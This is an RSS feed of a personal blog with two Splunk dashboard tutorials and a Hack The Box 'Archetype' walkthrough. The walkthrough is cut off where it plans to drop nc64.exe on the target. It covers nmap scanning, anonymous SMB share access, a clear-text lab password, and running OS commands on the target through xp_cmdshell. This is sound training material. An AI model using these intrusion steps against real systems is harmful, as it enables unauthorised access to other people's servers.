<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Gabe</title>
    <description>The latest articles on DEV Community by Gabe (@gabe-blog).</description>
    <link>https://dev.to/gabe-blog</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1756659%2F43b453eb-2bcb-41e8-bdf4-796d07a660d3.png</url>
      <title>DEV Community: Gabe</title>
      <link>https://dev.to/gabe-blog</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/gabe-blog"/>
    <language>en</language>
    <item>
      <title>Splunk - Buttercup Enterprise Dashboard</title>
      <dc:creator>Gabe</dc:creator>
      <pubDate>Sat, 01 Feb 2025 00:22:45 +0000</pubDate>
      <link>https://dev.to/gabe-blog/splunk-buttercup-enterprise-dashboard-e8b</link>
      <guid>https://dev.to/gabe-blog/splunk-buttercup-enterprise-dashboard-e8b</guid>
      <description>&lt;h3&gt;
  
  
  The Scenario
&lt;/h3&gt;

&lt;p&gt;• Buttercup Enterprises is a large national online retailer&lt;br&gt;
operating in the US, which sells a variety of books, clothing&lt;br&gt;
and other gifts through its online webstore&lt;br&gt;
• Recently invested in Splunk and&lt;br&gt;
now they want to start making use of it across the business.&lt;/p&gt;

&lt;h3&gt;
  
  
  My Role
&lt;/h3&gt;

&lt;p&gt;My responsibility is to provide insights to following teams throughout&lt;br&gt;
the company:&lt;br&gt;
• IT Operations&lt;br&gt;
• Dev Ops&lt;br&gt;
• Business Analytics&lt;br&gt;
• Security and Fraud&lt;/p&gt;




&lt;h3&gt;
  
  
  IT Operations team:
&lt;/h3&gt;

&lt;p&gt;Investigate successful vs unsuccessful web server&lt;br&gt;
requests over time&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Query 1: index=main sourcetype=access_combined | timechart count by status limit=10&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visualization: Column Chart&lt;br&gt;
Format: Stacked Mode&lt;br&gt;
Panel Title: IT Ops - Web Server Status Codes Over Time&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjvecaqsqg6k6q2048tp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmjvecaqsqg6k6q2048tp.png" alt="Image description" width="800" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's break down this specific SPL query:&lt;br&gt;
&lt;strong&gt;index=main sourcetype=access_combined | timechart count by status limit=10&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;index=main:&lt;/strong&gt; specifies that we want to search within a specific index called "main". Think of an index like a database or a collection of data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;sourcetype=access_combined:&lt;/strong&gt; filters the results to only include events (data points) with a source type of "access_combined". Source types are categories that describe the type of data being collected, such as network logs, system logs, or application logs. In our case access_combined refers to HTTP web server logs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;| timechart count by status limit=10:&lt;/strong&gt; The | symbol indicates that we're piping the output of our initial query into the new part of the query.&lt;/p&gt;

&lt;p&gt;Here's what this clause does:&lt;br&gt;
&lt;strong&gt;timechart:&lt;/strong&gt; This command generates a graph based on the data.&lt;br&gt;
&lt;strong&gt;count:&lt;/strong&gt; We want to count the number of events (data points) for each group.&lt;br&gt;
&lt;strong&gt;by status:&lt;/strong&gt; We want to group the results by the "status" field. Think of it like categorizing the data into different buckets based on values in that field.&lt;br&gt;
&lt;strong&gt;limit=10:&lt;/strong&gt; This sets a limit on the number of groups we see in the chart, showing only the top 10 most frequent statuses.&lt;/p&gt;




&lt;h3&gt;
  
  
  DevOps Team:
&lt;/h3&gt;

&lt;p&gt;Show the most common customer operating systems and&lt;br&gt;
which web browsers are experiencing the most failures&lt;/p&gt;

&lt;p&gt;&lt;code&gt;index=main sourcetype=access_combined | top limit=20 platform showperc=f&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This generates a list showing the top 20 most common values for the platform field, which represents the types of devices or operating systems used in our environment.&lt;/p&gt;

&lt;p&gt;Breaking down the SPL query:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;sourcetype=access_combined:&lt;/strong&gt; Filters to only include HTTP web server logs.&lt;br&gt;
&lt;strong&gt;|&lt;/strong&gt; : The | symbol pipes the output into this part of the query.&lt;br&gt;
&lt;strong&gt;top:&lt;/strong&gt; This command shows the most common values for a specified field. In this case, we're looking at the "platform" field, which represents the types of devices or operating systems used by customers.&lt;br&gt;
&lt;strong&gt;limit=20:&lt;/strong&gt; Limits the output to show only the top 20 most frequent platforms.&lt;br&gt;
&lt;strong&gt;showperc=f:&lt;/strong&gt; This parameter hides the percentage distribution for each platform.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;index=main sourcetype=access_combined status&amp;gt;=400&lt;br&gt;
| timechart count by useragent limit=5 useother=f&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Business Analytics Team: Assessing Lost Revenue
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;index=main sourcetype=access_combined action=purchase status&amp;gt;=400 | lookup product_ codes.csv product_id | timechart sum(product_price)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This query helps the business analytics team quantify the financial impact of failed purchases by calculating the total lost revenue over time. For example, if there is a spike in failed purchases during peak shopping hours, it might indicate server overload or payment gateway issues.&lt;br&gt;
By identifying these trends, the team can work with IT and marketing to address bottlenecks and improve the checkout process.&lt;br&gt;
Visualization Options:&lt;/p&gt;

&lt;p&gt;Chart Type: Line chart or area chart.&lt;br&gt;
Panel Title: "Lost Revenue from Failed Purchases."&lt;br&gt;
Screenshot Example:&lt;br&gt;
Lost Revenue&lt;/p&gt;




&lt;h3&gt;
  
  
  Security &amp;amp; Fraud Team: Monitoring Geographic Activity
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;index=main sourcetype=access_combined | iplocation clientip | geostats count by City&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This query helps the security and fraud team identify unusual geographic activity, such as spikes in traffic from regions where the business does not operate. For example, a sudden increase in requests from Eastern Europe might indicate a potential DDoS attack or fraudulent activity.&lt;br&gt;
By monitoring these trends, the team can implement geolocation-based security measures to block suspicious traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Visualization Options:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Chart Type:&lt;/strong&gt; Heat map or world map with city-level granularity.&lt;br&gt;
&lt;strong&gt;Panel Title:&lt;/strong&gt; "Geographic Activity Heat Map."&lt;/p&gt;

&lt;p&gt;Screenshot:&lt;/p&gt;




&lt;p&gt;**Final Notes&lt;br&gt;
Interactivity: Users can interact with the dashboard by hovering over data points to see tool-tips with exact values.&lt;br&gt;
Updates: The dashboard should update in real-time or at regular intervals to reflect the latest data.&lt;br&gt;
Permissions: Ensure that only authorized users have access to sensitive data, such as geographic activity or revenue metrics.&lt;br&gt;
By organizing the queries and visualizations in this way, teams can collaborate effectively and address issues proactively.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Splunk - SSH Dashboard Creation</title>
      <dc:creator>Gabe</dc:creator>
      <pubDate>Fri, 29 Nov 2024 05:18:55 +0000</pubDate>
      <link>https://dev.to/gabe-blog/splunk-ssh-dashboard-creation-40dl</link>
      <guid>https://dev.to/gabe-blog/splunk-ssh-dashboard-creation-40dl</guid>
      <description>&lt;p&gt;Walk-through of the Splunk queries used to create a dashboard in Splunk using SSH telemetry that includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Top account failed&lt;/li&gt;
&lt;li&gt;Top Source IP&lt;/li&gt;
&lt;li&gt;Number of failed attempts by user&lt;/li&gt;
&lt;li&gt;Successful logins&lt;/li&gt;
&lt;li&gt;Heat map for all external activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiadtduziimwt5hz8mde2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiadtduziimwt5hz8mde2.jpg" alt="Image description" width="800" height="296"&gt;&lt;/a&gt;&lt;em&gt;(Part of MyDFIR SOC Analyst Lab 1)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Query 1:&lt;/strong&gt; &lt;code&gt;index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | top user&lt;/code&gt; can limit results with | top limit=&lt;/p&gt;

&lt;p&gt;Visualization: Single Value&lt;br&gt;
Panel Title: Top Failed Account&lt;/p&gt;

&lt;p&gt;Shows us the name of the user with the top number of failed log in attempts. &lt;/p&gt;

&lt;p&gt;Searching for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Logs that are related to authentication (password acceptance)&lt;/li&gt;
&lt;li&gt;From the "auth.log" file&lt;/li&gt;
&lt;li&gt;On a specific machine called "linuxvm"&lt;/li&gt;
&lt;li&gt;With logs of type "linux_auth_logs"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We're also using Splunk's built-in &lt;strong&gt;top&lt;/strong&gt; command to find the top 20 users (user) that have attempted to log in. In other words, we're identifying the most frequent login attempts by username. This can be helpful for security teams to identify potential threats or suspicious activity. By using the limit=20, we're limiting our results to only show the top 20 users with the highest frequency of login attempts.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Query 2:&lt;/strong&gt; &lt;br&gt;
&lt;code&gt;index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | top limit=20 src_ip&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visualization: Single Value&lt;br&gt;
Panel Title: Top Source IP&lt;/p&gt;

&lt;p&gt;Replacing &lt;code&gt;user&lt;/code&gt; with &lt;code&gt;src_ip&lt;/code&gt; to show us the top source IP address of the failed login attempts. Again, we're using the &lt;strong&gt;top&lt;/strong&gt; command to find the top 20 source IP addresses (src_ip) that have attempted to log in instead. &lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Query 3:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | stats count by user | sort -count&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visualization: Statistics Table&lt;br&gt;
Panel Title: Failed Attempts by User&lt;/p&gt;

&lt;p&gt;Shows stats for failed login attempts by users. Use the stats command to count the number of times each username has attempted to log in. Finally, we're sorting our results in descending order (-count) so that we can see which usernames have attempted to log in the most frequently.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Query 4:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;&lt;code&gt;index=mydfir-lab1 host=linuxvm source="auth.log" sourcetype=linux_auth_logs msg="Accepted password" | iplocation src_ip| stats count by _time, Country, user, src_ip&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visualization: Statistics Table&lt;br&gt;
Panel Title: Successful Attempts by User&lt;/p&gt;

&lt;p&gt;Here we are using anothing built-in Splunk command, iplocation, to approximately geolocate the source IP addresses. Stats command to look for stats for successful logins grouping our results by _time, Country, user, and src_ip (geolocated location) and counting how many times each unique combo appears.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Query 5:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;index=mydfir-lab1 host=linuxvm | iplocation src_ip |stats count by Country | geom geo_countries allFeatures=True featureIdField=Country&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Visualization: Choropleth Map&lt;br&gt;
Format &amp;gt; Colors &amp;gt; Color Mode: Categorical&lt;br&gt;
Panel Title: Heat Map Network Activity&lt;/p&gt;

&lt;p&gt;Finally we use the built-in &lt;strong&gt;geom&lt;/strong&gt; command to visualize the geographic distribution of our results. We're creating a map that shows the countries we've geolocated, with each country represented by a marker on the map. The size and color of the markers will depend on the count value (i.e., how many times each country was seen in our logs).&lt;/p&gt;

</description>
      <category>splunk</category>
      <category>ssh</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Hack The Box  -  Archetype Walkthrough</title>
      <dc:creator>Gabe</dc:creator>
      <pubDate>Wed, 10 Jul 2024 04:45:51 +0000</pubDate>
      <link>https://dev.to/gabe-blog/hack-the-box-archetype-walkthrough-p5n</link>
      <guid>https://dev.to/gabe-blog/hack-the-box-archetype-walkthrough-p5n</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;This box gives exposure to:&lt;br&gt;
Protocols&lt;br&gt;
MSSQL&lt;br&gt;
SMB&lt;br&gt;
Powershell&lt;br&gt;
Reconnaissance&lt;br&gt;
Remote Code Execution&lt;br&gt;
Clear Text Credentials&lt;br&gt;
Information Disclosure&lt;br&gt;
Anonymous/Guest Access&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Starting off with the ping command to verify that my machine can reach the target machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkbqz2tbvzvxz5qdg8xb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkbqz2tbvzvxz5qdg8xb.png" alt="Screenshot 1: Ping command" width="774" height="218"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 1: Ping command&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ping {target_ip_address}&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Additionally, when a packet is sent, it typically starts with an initial Time To Live (TTL) value set by the operating system (OS). By looking at the TTL of the packet we can GUESS the OS running on our target machine. Keep in mind that initial TTL values can be modified.&lt;/p&gt;

&lt;p&gt;Common initial TTL values include:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt; Initial TTL of 128.&lt;br&gt;
&lt;strong&gt;Linux/Unix:&lt;/strong&gt; Initial TTL of 64.&lt;br&gt;
&lt;strong&gt;Cisco routers:&lt;/strong&gt; Initial TTL of 255.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We also see that a Microsoft SQL Server is running on port 1433 with Microsoft Windows Server 2008.&lt;/p&gt;

&lt;p&gt;Looking at the output of the ping command in Screenshot 1, we can see that the TTL is equal to 127, so we can also guess the target machine is running Windows.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“But Gabe you just said that the TTL of Windows is 128 not 127 ☝🏽🤓”&lt;/em&gt;&lt;br&gt;
Note that each router that forwards the packet decreases the initial TTL value by one. By the time the packet arrives at its destination (our host machine), the TTL value will have been reduced by the number of hops it took to reach us. Meaning we can assume one hop from the target machine to our machine.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw1ok6jf4v0c7rn9xpdma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw1ok6jf4v0c7rn9xpdma.png" alt="Screenshot 2a: Nmap scan" width="800" height="218"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 2a: Nmap scan&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Time for some enumeration with Nmap. Here we are using the Nmap command to scan for any open TCP ports on our target machine using the following options:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;nmap -sC -sV -T4 {target_ip_address}&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;-sC&lt;/strong&gt; (Default Script Scan): Runs a set of default Nmap Scripting Engine (NSE) scripts against the target. These scripts perform various tasks such as checking for common vulnerabilities, retrieving system information, and more.&lt;br&gt;
&lt;strong&gt;-sV&lt;/strong&gt; (Version Detection): Tries to determine the version of the services running on open ports by sending various probes and analyzing the responses. This helps identify the specific software and version running on a port.&lt;br&gt;
&lt;strong&gt;-T4&lt;/strong&gt; (Timing Template 4): Sets the timing template to “aggressive,” which speeds up the scan by reducing wait times between probes and increasing parallelization. It’s faster than the default but may increase the likelihood of detection and missed open ports.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F76hnm96h51c9ww9ti143.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F76hnm96h51c9ww9ti143.png" alt="Screenshot 2b: Nmap scan cont." width="800" height="801"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 2b: Nmap scan cont.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Looking at the output of the initial Nmap scan in Screenshot 2b we can see that SMB ports are open. SMB uses either IP port 139 or 445.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Port 139:&lt;/strong&gt; SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.&lt;br&gt;
&lt;strong&gt;Port 445:&lt;/strong&gt; Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We also see that a Microsoft SQL Server is running on port 1433 with Microsoft Windows Server 2008.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“What’s SMB used for anyway?&lt;/em&gt;☝🏽🤓&lt;em&gt;”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SMB (Server Message Block)&lt;/strong&gt; is a protocol used for sharing resources like files and printers on a network. Essentially, SMB makes it easy to share resources over a network, with Windows having it natively supported and Linux requiring a bit of setup with the open-source software suite, Samba.&lt;br&gt;
Now we can use a tool called smbclient from the Impacket library, which is a powerful collection of Python classes for working with network protocols.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jahca5kete7j6sl37u7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jahca5kete7j6sl37u7.png" alt="Screenshot 3a: Smbclient enumeration" width="791" height="223"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 3a: Smbclient enumeration&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;smbclient -N -L \\{target_ip_address}\*&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;-N:&lt;/strong&gt; No password&lt;br&gt;
&lt;strong&gt;-L:&lt;/strong&gt; This option allows you to look at what services / shares are available on a server&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If we look at the output of the smbclient command in Screenshot 3a we are presented with a few notable shares. Running the following command we can try to access each share using the -N (No password) option followed by the target IP address and the Sharename.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgefvdycw4guz56hn8fyx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgefvdycw4guz56hn8fyx.png" alt="Screenshot 3b: Smbclient enumeration cont." width="800" height="242"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 3b: Smbclient enumeration cont.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;smbclient -N \\{target_ip}\{sharename}&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once successfully connected to the backups share, I noticed a file named &lt;strong&gt;prod.dtsConfig&lt;/strong&gt;. After using the get {filename} command to download the file to our host machine we exit our connection to the share.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fip0qpojleifn6oexofxu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fip0qpojleifn6oexofxu.png" alt="Screenshot 4: Clear text user credentials" width="800" height="94"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 4: Clear text user credentials&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Back in our host machine we can use the cat command to display the output of &lt;strong&gt;prod.dtsConfig&lt;/strong&gt; to our screen where we find our first set of clear-text credentials for a user &lt;strong&gt;sql_svc&lt;/strong&gt; with a password of &lt;strong&gt;M3g4C0rp123&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feo1djbvbqnyhffpmfgb8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feo1djbvbqnyhffpmfgb8.png" alt="Screenshot 5: MSSQL user authentication using mssqlclient" width="800" height="318"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 5: MSSQL user authentication using mssqlclient&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In Screenshot 5, we use a tool called mssqlclient (also from the Impacket library to authenticate to the SQL server where we can begin interacting with it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mssqlclient.py -windows-auth {domain/user}@{target_ip}&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;-windows-auth:&lt;/strong&gt; Specifies to authenticate to the SQL Server using Windows authentication.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After running the command, we are prompted to enter the password for the sql_svc user which we found in previously in the &lt;strong&gt;prod.dtsConfig&lt;/strong&gt;. Mssqlclient confirms that it has successfully connected to the SQL Server and changed the necessary settings. Shows the SQL Server version (Microsoft SQL Server 140 3232). We are then provided with an interactive SQL prompt (ARCHETYPE\sql_svc dbo@master) where we can enter and execute SQL commands directly on the server.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fck4fuqe2tirx23dri897.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fck4fuqe2tirx23dri897.png" alt="Screenshot 6: Checking of our user’s role in the server" width="733" height="162"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 6: Checking of our user’s role in the server&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In Screenshot 6, we are executing SQL queries to check our role and user identity.&lt;br&gt;
&lt;strong&gt;SELECT is_srvrolemember(‘sysadmin’)&lt;/strong&gt;&lt;br&gt;
This SQL query checks if the current user is a member of the ‘sysadmin’ server role. Returns 1 if the user is a member of the ‘sysadmin’ role, 0 if not, and NULL if the role does not exist.&lt;br&gt;
We receive a 1 back indicating that our current user is a member of the ‘sysadmin’ role.&lt;/p&gt;

&lt;p&gt;We can also see below that we first tried to use the ‘whoami’ command directly into the SQL Server and we got back an error. This didn't work because ‘whoami’ is a command for the operating system, not for SQL Server. SQL Server didn’t recognize it and gave an error.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo23n4v761hv0lzknh9i2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo23n4v761hv0lzknh9i2.png" alt="Screenshot 7: Command execution on MSSQL server" width="617" height="150"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 7: Command execution on MSSQL server&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In Screenshot 7, we show that we can use the xp_cmdshell feature to correctly run the whoami command at the operating system level, allowing the SQL Server to run it and show the current domain\user.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5gb91muroj4770el1i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5gb91muroj4770el1i.png" alt="Screenshot 8: Checking current directory" width="711" height="358"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 8: Checking current directory&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After checking for the name of our current user I also wanted to note the directory we were currently located in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;xp_cmdshell ”powershell -c pwd”&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;powershell:&lt;/strong&gt; This launches PowerShell, which is a powerful command-line shell and scripting language in Windows.&lt;br&gt;
&lt;strong&gt;-c:&lt;/strong&gt; This tells PowerShell to execute the following command.&lt;br&gt;
&lt;strong&gt;pwd:&lt;/strong&gt; This is a PowerShell command that stands for “print working directory”. It shows the current directory (folder) that PowerShell is operating in.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The output shows we are located at &lt;strong&gt;C:\Windows\system32&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;“But why does knowing the folder we’re located in matter ☝🏽🤓”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Imagine you’re in a big office building, and someone asks you to find a specific file. If they tell you the file is in the accounting department’s office (a specific room), it’s much easier to locate the file. Similarly, knowing the current directory (&lt;strong&gt;C:\Windows\system32&lt;/strong&gt;) tells you exactly where you are on the computer, so you can find or place files correctly.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4y463kegd2bet78w5tk5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4y463kegd2bet78w5tk5.png" alt="Screenshot 9: Checking for folders with write permissions" width="800" height="899"&gt;&lt;/a&gt;&lt;em&gt;Screenshot 9: Checking for folders with write permissions&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Next, I wanted to take a look into our current user’s directory for a good place to drop a tool called nc64.exe with the following command:&lt;/p&gt;

